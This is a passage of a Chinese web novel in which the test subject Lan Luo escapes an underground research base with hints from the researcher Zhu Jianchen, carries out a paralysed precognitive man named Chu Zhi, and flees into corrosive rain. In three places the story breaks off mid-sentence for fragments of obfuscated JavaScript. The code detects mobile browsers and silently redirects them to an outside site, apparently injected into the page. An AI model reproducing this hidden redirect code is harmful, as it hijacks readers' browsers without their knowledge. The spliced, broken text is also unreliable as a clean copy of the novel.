平时这些电子屏大多空空荡荡,只有个别人会时不时晃动在上面,而现在各处都有研究员的身影,他们几乎守在了基地的各个角落。 这也许就是有异能的坏处了,平时要做研究,必要时刻还要做保镖,一个人打两份工。 兰落瞥了一眼,研究员的胸口挂着她的名字,于是捂着胸口一脸忐忑地问:“杨教授,陆先生他怎么了?” 年轻的研究员扫了她一眼:“不是和你待在一起晕的吗?你不比我清楚?” 这话让兰落心脏下意识一跳,但她的语气并不严肃,甚至有些戏谑,兰落的心也就慢慢放下去了。 她一面观察电子屏,一面对杨研究员解释:“我也不知道哇,突然就……” “噗——!” 姓杨的女人不知道为什么,突然捂着嘴笑了起来。 兰落静静注视着她看热闹的笑,直到杨研究员不好意思地停下来:“哎呦,不用解释了,懂得都懂。” “你也不用怕,陆先生也不是第一次这样了,他身体不好大家都是知道的。” 兰落问:“所以什么是懂得都懂?” “哎呀,”姓杨的研究员捂了捂嘴,“前辈被你们赶出房间之后都告诉我了,好多人都知道……” “知道什么?” 熟悉的嗓音喘着粗气出现在兰落的身后。 她有些惊讶地回头:“祝见尘?!” “你怎么回来了?” 祝见尘从阴影里缓缓走出来,脸上带着吊儿郎当的笑:“听说姓陆的快死了,回来吊唁。” 怎么可能,他虽然表情悠哉,但兰落很轻易地就能从他喘不匀的气息里听出他的匆忙。 “那你来早了。”她随口说。 杨研究员抿住嘴巴,眼珠子在他们两个中间来回打转,脸上写满看戏和吃瓜。 “这样啊,真是太可惜了。”祝见尘倚在桌边,脸上露出夸张的失望表情,演技惨不忍睹。 他的样子太松弛,一点也看不出急切,好像一路狂奔回来只为了闲聊看戏。 祝见尘冲兰落挑挑眉毛:“所以你们知道什么了?我就走了一会儿,怎么就有我不知道的事了?” 兰落心里只有怎么跑,哪里知道他们都知道了些什么东西,闻言避开祝见尘的视线没有回答。 “哇,”祝见尘捂住胸口,“你对我有秘密了。” 兰落像看智障一样看了他一眼。 杨研究员清了清嗓子:“这可不是秘密,好多人都知道,只有你不知道。” 兰落本来想走,听到这话脚步又犹豫了。 虽然知道她嘴里大概率说不出什么有用的,但万一呢? “所以到底是什么?”祝见尘抱着双臂一脸好奇。 兰落瞄了一眼电子屏,张烈正拿着通讯器在机械眼下飞奔,看路线是朝着大厅来了。 她抬头一瞧,祝见尘的口袋果然嗡嗡的。 他还在等杨研究员的八卦,根本没管响得乱七八糟的通讯器。 “说呀,都是同事有什么不能说的。”他催着杨研究员。 杨研究员咬着手指偷看兰落:“她好像不想说,小女孩脸皮薄,你别这样。” 祝见尘听完,唰一下转头看着兰落:“你脸皮薄?” “你口袋里,”兰落没正面回答,指指他的口袋,“在响。” 祝见尘看都不看,掏出通讯器就往兰落怀里扔:“不重要,你们到底瞒我什么了?” 兰落没理他,垂头看通讯器。 果然是张烈,他正在通讯里狂轰滥炸,让祝见尘赶紧去手术室。 祝见尘去手术室干嘛? 难道陆观需要做手术吗? 他们会不会查出他体内的毒素? 虽然兰落以前从没被查出来过,但这里是实验室,说不定有更高端的仪器,万一真检查出来了怎么办? 兰落假装不在意地把通讯器扔回祝见尘怀里,心里琢磨着这些可能,越想越觉得不能再待下去了。 她必须尽快跑路。 “哎呦,急什么?” 杨研究员还是没忍住,看了兰落一眼,一脸戏谑地说:“陆先生啊,和她单独相处了一会儿就晕了……当时刘前辈也在,他说兰落说了一些话,陆先生就把他赶走了嘿嘿嘿。” “说了什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785891|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝见尘问杨研究员,眼睛却看着兰落。 兰落差点怀疑他在问自己了,直到杨研究员接过他的话头:“她说她对陆先生……” “……有见不得人的心思哦!” 杨研究员说完就嘻嘻哈哈笑起来,脸上满是对桃色新闻的热衷。 “谁?” 祝见尘没笑,还是看着兰落:“谁对谁?” 兰落也没笑,她自己都不记得当时到底说了什么,这人竟然记得比她还清楚,还在大庭广众之下说出来,就算是兰落也忍不住有点尴尬了。 杨研究员重复:“就是兰落对陆……” “祝见尘!” 还没说完,张烈急切的声音就响彻了整个大厅。 杨研究员看见来人,缩回原位装死,一点没有刚刚的活人气息。 兰落看着张烈终于联系上了祝见尘,却又敢怒不敢言的样子,心情奇妙地好了几分。 祝见尘脸上的表情很难看,之前不管什么情况他的嘴边都会带着笑意,现在却把嘴角拉得很平,看上去莫名有些阴沉。 “知道了。” 他冷淡地回应张烈,从兰落面前目不斜视走过去。 看来心情真的很差了。 兰落看着祝见尘十分罕见地走路带风,不顾张烈在旁边的唠叨消失在尽头。 大厅变得空寂,她最后看了看电子屏,看不出什么有用的东西,只能先回了房间。 沙发底下还躺着那把银白色的枪,兰落弯腰在地上摸了半天才把它勾出来。 有总比没有好,万一被发现了,这就是她最新的武器了。 兰落心里始终静不下来,给伤口来回喷了好几遍药,又把祝见尘之前挑出来的药吃了,看见伤口在慢慢愈合才安心了一点。 接下来要怎么办? 她揪着自己的头发,在心里推演了好几种逃跑的可能,最终都被推翻。 太弱了,她太弱了。 兰落摸着心脏沉思,虽然是龙凤胎,但和她不同的是,兰升的体力速度都是最上乘,如果困在这里的是兰升,恐怕逃跑的成功率要翻好几倍。 如果她能吞噬兰升的心脏…… “咚咚咚!” 门被敲得轻响,兰落被迫收回思绪。 “谁?” 她扬声问,手指摸到枪柄。 “是我。” 兰落听到熟悉的声音,把房门拉开一条缝。 祝见尘穿着一套实验体服装,倚着门框低头看她。 “你来干嘛?”她隔着门缝问,手指还是没敢离开枪柄。 祝见尘脸上带着一丝疲惫,唇色发白,难得没有满嘴跑火车:“求安慰。” “什么安慰?” 兰落皱眉,一个研究员,找实验体求安慰,简直不知好歹。 祝见尘站直一些,伸手推开房门径直走了进来。 兰落站在门口看他轻车熟路的样子,暂时放下了扶着枪的手。 “你为什么穿着这套衣服?” 祝见尘站在房间中央扫视着这里的一片狼藉,兰落没心情整理房间,干脆就让它们乱着。 “我才走了一会儿,怎么乱成这样?” 祝见尘扶了扶药架子,语气竟然有些温柔。 “他们弄乱的,懒得收拾了。”兰落说。 祝见尘目光停留在沙发上: “你就是在这里,和他说你喜欢他的吗?” 15. 出逃 “什么?” 兰落没搞懂他的脑回路,听到这话有些不可置信地反问。 “我说,”祝见尘直视着她,一脸认真:“你就是在这里……” “没有。”兰落心烦意乱地打断他,不想再重复这种讨厌的话题。 “是吗。” 祝见尘还是一脸苍白地盯着她,过了好几秒才笑出来:“那就好那就好,我是来说他坏话的,你可不能喜欢他!” 兰落提取了关键词:“什么坏话?” 祝见尘“唰”一声拉开袖子,露出上面青红的针孔:“看,他偷我血!” “偷了好多好多,都补不回来了。” 怪不得他面色这么苍白。 “那你还上赶着回来输血?”兰落有些惊讶,“你们的血很稀缺吗,为什么不用血库的?” 祝见尘放下袖子,刚刚的夸张消失殆尽,语气略显疲惫:“嫌弃血库的呗。” 兰落不太能理解这些人的想法,干脆尊重他人命运,不说话了。 祝见尘也不说话,就默默盯着她看,直看得兰落后背发毛。 “你在看什么?”她忍无可忍问道。 祝见尘声音淡淡的:“你也失血了吧。” 兰落飞快看他一眼,和他的目光在空气中撞在一起。 “你在说什么?” 她装作不理解的样子,理直气壮盯着祝见尘。 祝见尘嬉皮笑脸,但苍白的唇色让他的表情少了几分欠揍,多了几分可怜: “你也失血了吧。” “就像上次一样。” “故技重施?” “这次失败了是不是?” 他一句一句轻飘飘砸下来,越说兰落的眉心皱得越紧。 “你到底在说什么?” 祝见尘靠近她,两个人之间只剩下半个手臂的距离,兰落手指抽动,忍住了掏枪的欲望。 “面包怪。”他说。 “怎么,”兰落问,“怀念你的前同事了?” 祝见尘一屁股坐在地上:“才不是。” “那就少说废话。”兰落声音冷淡。 祝见尘没有继续招惹她,老老实实闭上了嘴,往地上一瘫不动了。 兰落想赶他走,用脚尖不太大力地踢他,祝见尘挨踢了也不生气,毫无形象地翻滚一圈继续躺着,狗皮膏药一样。 “懒得管你。”兰落转身去浴室。 “兰落,”祝见尘突然叫住她,“你有没有想去的地方?” 哪壶不开提哪壶。 兰落握着门把手,力气大得几乎要捏碎它:“你指的是鸽子笼还是手术室?” “都不是。” 祝见尘声音有点小:“我是指外面,基地外面。” “我能去的最远的地方,都在基地里。” 兰落“砰”一声摔上门,躲在浴室不出来了。 她本来就够糟心的,祝见尘还偏要反复往她伤口上撒盐,兰落连装都懒得装了,语气里满是嘲讽和怨恨。 外间没有再传来什么声音,兰落看着镜子,她的头发好像长了一点。 进基地前头发到哪了来着? 兰落想不起来了,在基地的日子似乎很容易让人对时间丧失感知。 小时候她和兰升的头发长得都很快,她爸妈一边满嘴嫌弃,一边手忙脚忙给他们剪头发。 不过大多是剪兰升的。 “男孩子家家,头发那么长像什么样子,快来快来,给你剪一剪。” 他们说女孩子头发长一些也好看,没必要经常剪。 他们长大一些后,也不知道是不是学会控制自己了,头发倒不再像小时候一样疯长。 兰落回忆着那时候的场景,揪着发尾拿起小剪子开始剪。 基地的剪刀是圆角的,很小很钝,她提了好几次张烈才愿意让人送过来。 没用的剪刀,连头发都剪不动。 兰落心烦意乱地把剪刀扔到一边,她左侧的发尾少了一截,参差不齐的。 陆观现在的情况不知道怎么样了,至少张烈他们没有找到自己头上,她暂时还是安全的。 但又能安全多久呢……兰落注视着镜子里的自己,她不信陆观醒来之后会善罢甘休,到时候只怕插翅难飞。 她要赶在陆观醒之前离开这里…… 兰落吐出一口浊气,决定去基地后门走一圈,研究员都分散在各处的话,说不定那里反而宽松一些。 至于路上会不会被他们拦住,就不在她的考虑范围之内了。 祝见尘不知道什么时候已经离开了,兰落看了一眼,他把药架子又整理好了,其他被弄乱的东西似乎也归了位。 多此一举,她根本不在乎。 兰落走到门口,刚拉开门,一个高大的身影就笼罩下来。 “你为什么守在这里?” 兰落皱着眉头看站在门口的祝见尘,第一时间怀疑张烈发现了什么,派他来看守自己。 祝见尘愣了一下,收回准备敲门的手:“我去了治疗室一趟,刚准备敲门你就出来了。” 他恢复了嬉皮笑脸的欠揍模样:“怎么样,这算不算是心有灵犀?” 兰落放松了一点,懒得理他,径直越过祝见尘往外走。 “哎,”祝见尘突然伸开双臂拦住她,“去哪儿啊你?现在到处都有研究员守着。” “他们守着关我什么事?”兰落不耐烦。 祝见尘却把目光移到她的头发上:“基地有老鼠?” 兰落真心觉得他脑子不好:“老鼠可不敢来,来了就得躺手术室。” “没有老鼠?”祝见尘状似不解,“那你的头发被什么啃了?” 兰落愣了一下,连气都忘了生。 “有病。”她反应了几秒才骂出口,抬手把头发甩到身后。 “我给你剪我给你剪!我会剪头发!” 祝见尘不知道发了什么病,硬是拦着把她赶回房间。 兰落彻底失去耐心:“给你三秒钟,滚出……” “凌晨五点开始,陆观会被转移到医疗院。” 她骂到一半就被祝见尘打断,他的声音不大,落在兰落耳朵里却如平地惊雷。 兰落不可置信地盯着祝见尘,他用身体抵着门板,脸上的神色非常认真,半点没有平时的满嘴跑火车。 “为什么告诉我?”她视线锁着祝见尘。 祝见尘在她的注视下视线飘忽,舔了舔嘴唇:“我也是刚知道这个消息,感觉你应该用的上……吧。” 兰落还是盯着他,手指抽动:“为什么?” “因为他身体比较娇贵,基地也不敢怠慢,联系了医疗院就准备紧急转移他……” “我问的不是这个。”兰落打断他。 祝见尘怔了一瞬,然后哦哦两声,声音又低了一点:“我就是跟你分享一下,基地这么无聊,好不容易有点八卦肯定要分享一下。” “嗯。”兰落随口敷衍,心里却在琢磨陆观转移对她来说能有什么好处。 祝见尘看天看地:“真不要我给你剪个头发吗?我手艺特别好,真的。” “不用了。”兰落暂时给了他一点好脸色。 “哎呀!”祝见尘眼神亮了亮,“剪一下吧,反正现在都不准实验体外出了。” 说着就一翻手拿出一把细长的小剪刀。 兰落无语,忘了他是个打蛇随棍上的家伙了。 她没同意也没拒绝,抱着双臂站在原地。 祝见尘看着她的脸色,试探性地拎起一撮头发。 “咔嚓”,漆黑的发丝掉落在地。 祝见尘剪得很快,没多久她的头发就短了一截,脖子也清爽许多。 兰落摸摸发尾,根本没在意他剪的怎么样,她现在满脑子都是陆观要转移。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785892|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊,剪的真不错。” 祝见尘满意地夸完自己,话题一转开始很夸张地吐槽:“但是好烦啊,姓陆的架子真大,转移一下而已,张烈竟然让我们全都护着他直到交接完成。” “全部护着?”兰落敏锐捕捉到什么。 祝见尘一脸自然:“全部,全部哦。” 兰落沉默,心脏开始不受控制地抽动。 “我知道了。”半晌,她才说。 “我也要去的。”祝见尘的手背在身后扣门板。 兰落点头:“嗯,去吧。” 她在想祝见尘这些话的真实性,以及研究员全部护送陆观的话,她能有几分机会离开这里。 祝见尘继续扣着门,眼神落在她身上。 “算了,你真敷衍。” 他不等兰落回应继续说:“我帮你一次怎么样?” 兰落一脸狐疑地问:“为什么帮我?” “陆观只会从前门转移,所以后门会非常松懈。” 他不回答兰落,自顾自解释: “基地的门需要生物识别,但为了保险都有手动锁,一旦基地断电就会自动启用手动锁。” “手动锁的钥匙就在门边墙砖里,断电之后才会松动,具体是哪块我也不知道。” “剩下的就靠你自己吧,我必须随陆观一起转移,帮不了你什么了。” “还有,架子上的药都挺好的,别忘了用!” 祝见尘始终不看她,一句接一句地砸下来,话音刚落就飞快拉开房门钻出去,留下兰落一脸复杂地看着他的背影。 她倒不是感动,而是—— ——他既然什么都知道,为什么不能早点说! 兰落消化了一下这些消息,还是决定铤而走险信他一次。反正她现在也没别的办法,试一试总比等死好。 她塞了几瓶便携的药在身上,掐着时间溜出房门朝后方去。 兰落打算先绕去鸽子笼,那里机械眼相对来说少一些,被发现的概率比较低。 她还能顺便把花子从鸽子笼放出来,至于花子能不能逃出去,就不关她的事了。 “警告你,给我安分一点!再让我发现你乱咬人,把你蛇头剁下来!” 上次的研究员踹了一脚蛇头的房间,撂下一句威胁就步履匆匆走了。 兰落躲在一边,看着他往自己反方向走远了,这才贴着墙边溜出来,找到花子的鸽子笼。 花子威胁程度低,所以她的房间平常只用一根门栓从外面栓起来,有时候甚至连门栓都懒得栓。 花子跟她说最开始研究员看到她乱跑会打她,但经过她不懈的谄媚,早就获得了睁一只眼闭一只眼的特权。 兰落轻轻拉开门栓,把门推开一条小缝:“花子?” 房间里漆黑一片,单人床上有鼓起的影子。 兰落虚掩着门,脚步轻挪:“花子,你在吗?” 床上的人影没有任何反应,但兰落可以看出薄被的轻微起伏。 是活人。 她后退两步,直觉哪里不对劲。 这里就是花子的房间,她绝对没有走错。 花子的反应很敏捷,不会睡死成这样,更不会故意不理她。 反正门已经替花子打开了,剩下的事不归她管,兰落不想沾上不必要的麻烦,果断抽身准备离开。 “扑通!” 一声闷响中,模糊的人影滚下床,在地上翻滚两圈,却依旧一声不吭。 兰落紧张地朝外看,现在已经凌晨五点出头,她不确定研究员多久能护送完毕,再拖下去恐怕不妙。 早知道不管了。 她拉开房门,看也不看身后直接往外冲。 一双冰冷的手突然伸出,死死摁住了兰落的脚踝。 “放开!” 她低喝一声,抬脚就朝人影头上踹。 这不是花子的手! 16. 逃离 兰落不敢引起太大动静,踹完一脚就停了下来:“放手!” 地上的人闷哼一声,手却牢牢攀着兰落的脚踝,把她的皮肤抓得泛白。 兰落焦躁地“啧”了一声,用空着的那只脚重重踩住了这人的手腕。 “松开!花子在哪儿?” 地上的人飞快摇了摇头。 这里太过漆黑,兰落只能勉强看见他的轮廓,看身形像是个男人。 兰落不喜欢这种被禁锢的感觉,一脚接一脚踹在他身上。 她虽然不壮硕,力气却不容小觑,这么多脚下去,一般人早就疼得放手求饶了。 但男人面朝下趴在地上,被兰落又踩又踢的,却始终一声不吭。 兰落彻底没了耐心,蹲下身一把揪住他的头发:“再不放开我就杀了你!” 他被兰落揪着,被迫抬起了脑袋。 硬着门缝的微光,兰落终于看清了这人的脸。 很陌生的年轻男人的脸。 男人闭着眼睛,无论兰落做什么都只会抿着唇摇头。 兰落掏出枪,直接对准他的脑袋:“不想死就放手。” 坚硬的枪管把他的皮肤压出一小块凹痕,男人终于颤着眼皮睁开眼睛:“求你。” “求你了,带我一起走。” 他的声音有些耳熟,但现在不是回忆的时候,兰落把枪抵得更重,用力揪他头发:“你到底是谁?” “呃!” 男人痛呼一声:“上次,毒蛇对面,出声提醒你……” 他这么一提醒,兰落确实想起来了。 被咬的时候,确实有个男声提醒她,研究员还说他是个瘫子。 不过他怎么会出现在这里? “原来是你。”她放轻了一点力气。 男人飞快点头:“是我,你会离开对不对?带我一起……” “我带你个屁!”兰落把枪怼在他的手腕上,“松手!不然我真开枪了!” 她连自保都难,凭什么带一个没有行动力的家伙? 带他还不如带着花子。 “花子在哪你知不知道?”她问。 男人朝前爬了半步,摇头:“不知道,她被带走了,应该是送到别的基地了。” “但是跟我没关系,她走了之后这间屋子没人住,所以才把我放进来的。” “为什么偏偏是你?” 男人疼得吸气:“因为我废了,没有危险性,没必要关在s组了。” 兰落心里暗叹花子命不好,松开扯着他头发的手:“那就没你事了。” 男人失去支撑,脑袋“啪”一下砸在地上。 兰落看出他没什么力气了,不想浪费子弹,直接用手狠狠扯开他。 她的脚踝上已经红了一大片,兰落没时间管这点小伤,一个大跨步挪到门口让他抓不到自己。 抓紧时间。 兰落不想再浪费时间,她没有试错的机会,必须抓紧时…… “心脏!” 就在兰落心急如焚跨出房间时,身后的男人不高不低喊了一声,嗓音满是急切。 这个词对兰落来说太敏感,她不由得停下脚步回头,谨慎地看了看左右:“什么意思?” “心脏,我知道。” 男人撑起上半身,毫无尊严地在地上爬:“我可以预知,我知道你要的心脏!” 预知? 兰落不是很相信他,这种事情太好撒谎了。 “带我走!带我走!我可以帮你找到心脏!”男人语速极快,生怕兰落转头就走。 兰落看着他:“你知道多少?” “你要找到他,吞噬他的心脏,我可以帮你,我能做到!” 他说的的确没错。 兰落面露犹豫,这件事她没告诉过任何人,他既然知道,说不定所谓的预知能力真的有用。 兰升行踪受军校保护,靠她自己的确难以轻易接近,如果能够预知…… 但是——兰落看了他一眼,一个半瘫的男人,价值太低了,她不一定有这个能力带走他。 “行,”不过犹豫几秒,兰落就做出判断,“我可以带着你,但一旦发生意外,我会立马把你扔掉。” “你自己考虑要不要走。” 男人闻言,没有丝毫犹豫用力点头:“走!我走!带我走!” “想走就小声点。”兰落四处看了看,没发现异常,这才向前一大步,把男人从地上拎起来。 兰落把男人反剪双手压在地上,用膝盖顶住他,扯下床单用力一撕,撕出一个长长的布条,感受了一下布条的结实程度,然后才低头一圈一圈缠在他的手腕上。 “一旦你出现挣扎行为,我就立刻扔掉你。” 兰落小声警告完,才拎着他钻出房门,贴着墙壁大步走。 男人的双脚垂在地上,行动间发出沙沙的轻响,兰落贴着墙根在机械眼正下方转弯,贴着墙根停在半路。 “你的腿……” 兰落眼神里满是思索。 男人愣了一下:“没事,已经没有知觉了,不会疼的。” “谁管你疼不疼了?” 兰落莫名其妙看他一眼,她只是在想怎么样才能让他的脚不发出声音。 等一下他们会经过s组,那里的实验体大多敏锐暴躁,这些小动静万一引起他们的注意就不好了。 她试着提了提,这人并不重,体重在同身高人群里绝对偏低很多。 这倒是方便兰落了,她二话不说把人甩起来扛在肩头,不顾他被顶住胃部的干呕,适应了一下就开始加速冲刺。 男人除了最开始呕了几声,其他时间都一言不发,活像个死人。 兰落觉得自己像个偷尸体的贼,提心吊胆地一路狂奔,连歇口气都不敢。 一鼓作气,再而衰三而竭的道理她还是懂的,越是这种时候越是要提着一口气,一旦松懈下来就完蛋了。 一路静悄悄,兰落尽量避开机械眼,实在避不开的也就不躲了,直接快速冲过去一走了之。 这次跑路她就没想着留后路,会不会被机械眼录入倒不是什么值得担心的问题了。 现在的问题是断电和找钥匙。 断电其实也不麻烦,她虽然做不到切断整个基地的电源,但她可以破坏后门的线路,线路损坏了自然也就断电了。 兰落随手把男人扔在地上,仔细观察了一下,门边的砖体积很小,密密麻麻铺满了一整面墙,要从这些砖块里找出钥匙还不知道要找到猴年马月。 等她找到钥匙,研究员估计早就发现这里断电了。 兰落撸起袖子,在怀里摸了摸。 冰凉的手枪已经被她的体温捂热,她不清楚这把枪的威力如何,但相较于祝见尘提供的办法,她宁愿更相信这把枪。 断电和开枪都会引起注意,但断电后她需要时间找钥匙,开枪后只需要抓紧时间冲出去就够了。 至于枪的威力如何…… 兰落举起手臂,枪口对准门锁。 她手指轻动,打定心思准备扣动扳机。 “不行!” 身后半死的男人突然开口:“生物锁被攻击会自动锁死,除非你能打穿整扇门。” 兰落偏头看他:“那你说怎么办?” “打铰链,”他支起上半身,“这不是平移门,有铰链固定,把铰链打烂门就开了。” “不早说,浪费时间。” 兰落思索了一下,举枪对准门与墙的连接处,那里确实有两条银色铰链。 兰落拽着男人的衣领:“准备好,枪响了必须立刻离开,敢耽误时间你就自己留下吧。” 男人用力点头,一双眼睛死死盯着铰链。 其实他真的很年轻,单看外表恐怕和她和兰升年纪差不多,只不过眼神里没有兰升那种无知的天真。 兰落嗤笑他的急迫,自己心里却也没好到哪去,一颗心怦怦乱跳,口腔内壁已经在无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785893|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知无觉间被咬出了一道伤口。 微咸的血丝蔓延在口腔里,兰落舔着伤口,终于找回了冷静的状态,瞄准铰链。 “砰!” “砰砰砰!” 兰落一枪下去不见效果,咬咬牙继续连开三枪,铰链被子弹摩擦出火花,在一枪接一枪的攻击下摇摇欲坠。 “啧。”兰落举枪开了第五下。 这把枪威力很大,声音和后坐力却小,一看就是为陆观量身打造的,兰落用起来也是非常顺手。 但她没想到这铰链这么解释,五发子弹都没能彻底打断。 远处已经隐隐传来撞门声,估计是哪个听觉灵敏的实验体发现了他们的动静,兰落不敢再拖,心一横连开好几枪。 “咔嚓——” 铰链表面坑坑洼洼,终于在一阵硝烟里彻底断裂开,掉在地上。 兰落收起枪,拎着男人就往门上踹了一脚,踹出一条小缝隙。 实验体撞门的声音越来越大,其他实验体受到影响,也陆陆续续发出杂乱的动静,闹得整个走廊都回荡着吵闹声。 不妙了,兰落皱着眉朝缝隙处不停踹,把小缝隙踹大,踹到能勉强供一个人通行。 吵闹声越来越大,兰落不敢耽搁,侧着身子钻出了门缝。 被暴力破坏的铰链残骸尖锐又锋利,在她身上划出一道道细口子。 兰落没有发现,谨慎感受着门外的环境。 她的眼前是一片黑与蓝交织的昏暗,有细微的气流拂过她的脸颊。 ——风! 是风!自然风! 基地建在地下,平时都靠人工排风系统,她已经不知道多久没感受过自然风了。 兰落大半个身子已经探出门外,只剩抓着男人的手还留在门内。 男人的体型比她大,想要钻出来更不容易,兰落却不在乎,直接用蛮力扯着男人钻出门缝。 金属碎片刺进皮肤,从他的肩膀一路划到手肘,划烂了他的衣服,露出里面鲜血直流的伤口。 男人额头上不断滴下冷汗,却紧咬着牙关一声不吭,任由自己被刮得伤痕累累。 “扑通”一声,兰落终于把男人拽出来,靠惯性把他摔在地上,和搬一袋大米没什么区别。 兰落重新把他拎起来,气喘吁吁地望了眼门内。 裂开的门缝挡不住内部的景象和声音,兰落看见基地内红光闪烁,实验体撞门的声音和不断滴滴的警报声交织在一起。 她转身扯着绑住男人的布条,看也没看身后一片狼藉的基地,撒开腿就向着远方狂奔。 男人被拖在地上,碎石摩擦着他瘫软的双腿,他却毫不在意地仰头,对着天空哈哈大笑,样子癫狂又魔怔。 兰落不停歇地跑着,她没有方向,不知道自己冲向的地方是哪里,她只知道一点—— ——离开基地!逃出实验室!获得自由! 只要逃出实验室,只要重获自由,她就终有吞噬兰升、获得完整不死之力的一天,到那时,她绝不会再被人随意摆布! 兰落迎着风,脸上不自觉露出兴奋的笑。 滴答滴答的腐蚀雨落了下来,滴在毫无保护的两人身上,发出细小的灼烧声。 腐蚀雨几乎每天都会下,沿路的一切都会被或多或少腐蚀掉,这也是兰落拖着男人却不担心暴露行踪的原因。 这雨对异能者的伤害越来越有限,但也早就驯服了生态,一场腐蚀雨之后,满地的细草都会死亡,到了第二天早晨,又会重新长出来一批草,把前一天的痕迹都隐藏。 他们要做的,就是趁雨没停努力跑的更远。 兰落分秒必争,迎着雨狂奔。她感知不到疼痛,这点轻微的腐蚀对她来说根本不算什么,跑起来毫不受阻挠。 因此也就没有发现,被她拎着的男人双腿已经血肉模糊,腐蚀性的雨滴掉在裸露的伤口上,冒出一缕缕白烟。 他逐渐眯起眼睛,不一会儿就垂着脑袋不知死活了。 17. 预知 兰落盘腿坐在一栋废弃楼房里,透过没有玻璃的窗户看天。 她一刻不停地跑了大半夜,估算着距离差不多了才敢停下来休息。 虽然累得浑身发软,但兰落觉得自己还算幸运,能找到一小片建筑残骸。 废弃的建筑在野外很常见,大部分都是因为腐蚀雨降临前期人们逃难后留下的空壳,在许多年的风吹雨打下慢慢被腐蚀残缺,很多甚至已经爬满了植物,被埋在地下。 兰落找了一栋爬满藤蔓的烂楼,在一楼挑了个看起来最完整的房间短暂休息。 房间里有张散架的大床,上面的灰尘薄厚不一,应该是曾经有人来过。 大概率是拾荒人,他们喜欢搜寻各种废弃建筑,靠捡前人落下的物资生活,不过这些建筑荒废了近百年,早就被掏了八百遍,一点值钱的玩意都没了,所以拾荒人也几乎已经灭绝。 兰落双手撑在地上,仰着脑袋看藤蔓掩映下的夜色。 男人被她扔在视线范围内的墙角,他早在半路就毫无动静,兰落差点以为他死了,探了探鼻息,确定有呼吸才没把他就地扔掉。 就这么逃出来了? 她双手垫在后脑勺上,仰面躺下。 天上的月亮非常小,显得天更高了,兰落逃在路上的时候没感觉,现在坐在这里才开始对自己的现状有了真实的感受。 基地会来追捕她吗? 实验体那么多,只不过跑了一个而已,应该不值得他们费人费力来捉吧? 但兰落不觉得陆观会轻易放过自己,像他这种向来高高在上的人,不可能受得了被如此屈辱地对待。 躲躲藏藏的,还是太被动了。 要是她能强一些,事情就好办多了。 兰落看着像死人一样躺在一边的男人,心里琢磨着兰家的事。 她跑了,也不知道陆观醒来会不会找兰家的麻烦。最好是陆观不管她,只拿兰家人撒气,这样她的行动也会方便很多。 至于兰升…… 兰落爬起来,拍了拍身上的灰,踢了男人几脚:“喂?活着吗?有事问你。” 地上人毫无反应,眉头紧紧皱着,苍白的皮肤漫出红晕。 “醒醒。”兰落有点嫌弃他病殃殃的样子,又舍不得自己费劲带出来的人就这么死了,蹲下身子拍他脸。 她自己不疼,下手也没注意轻重,啪啪几下直接把他的脸拍得歪在一边,甚至隐隐约约浮现出指印。 男人眉头抽动两下,唇边溢出一丝微弱的呻吟:“呃……” 兰落看他有反应了,收回手说道:“把你知道的都告诉我。” 男人像完全没听见,一脸痛色地扭了扭脑袋。 “我……” 几秒后,男人的眼睛打开一条小缝:“我叫楚知。” 兰落站起身看他:“我没问这个。” 楚知的目光毫无焦距,闻言也没再说话,侧过脑袋重新合上眼睛。 眼见好不容易弄醒的人又要昏,兰落脚尖一点,撑住了他的脑袋,在楚知重新睁眼后收回脚:“先回答我的问题。” “你对我的事知道多少?你的预知能力怎么运用?准确度高不高?已经预知到的事情被改变了会怎样?” 她抱臂看着一脸茫然的楚知,连珠炮似的问出一大串。 楚知视线朦胧,干燥起皮的嘴唇动了动,艰难开口:“我……你能不能,先想办法,救救我?” “我好像……快死了。” 楚知说完,就眼皮一翻晕了过去。 “喂?” 兰落又试着踢了踢,这回是真没反应了。 不是,他不会要死在这吧? 死也要先把她想知道的告诉她才行吧?不然她何必费力拉他出来? 异能者有这么容易死? 兰落怀疑他早就油尽灯枯了,不然仅仅是受点皮外伤再淋点腐蚀雨,对普通异能者来说连药都不需要涂。 “晦气。” 兰落小声说。 楚知虽然晕了,但晕的也不安稳,不停冒着冷汗低声呻吟,似乎在经受极大的痛苦。 兰落看了一眼,他的伤口主要在双腿和手臂上,手臂被铰链撕裂的伤口被腐蚀雨浸泡之后泛着脓白,样子格外可怖。 但兰落没什么感觉,她从不知道疼痛是什么滋味儿,现在也只不过是根据伤口的深浅估算他的身体状态而已。 兰落双手叉腰,沉思几秒,突然想到什么似的在怀里掏,掏出一个系在身上的小包。 包里是她从基地顺出来的药,都是祝见尘特别推荐过效果很好的伤药,现在还真派上用场了。 祝见尘平时看着吊儿郎当,脑子也不太好,但有些时候还是挺有用的,比如这些药,再比如帮她逃出实验室。 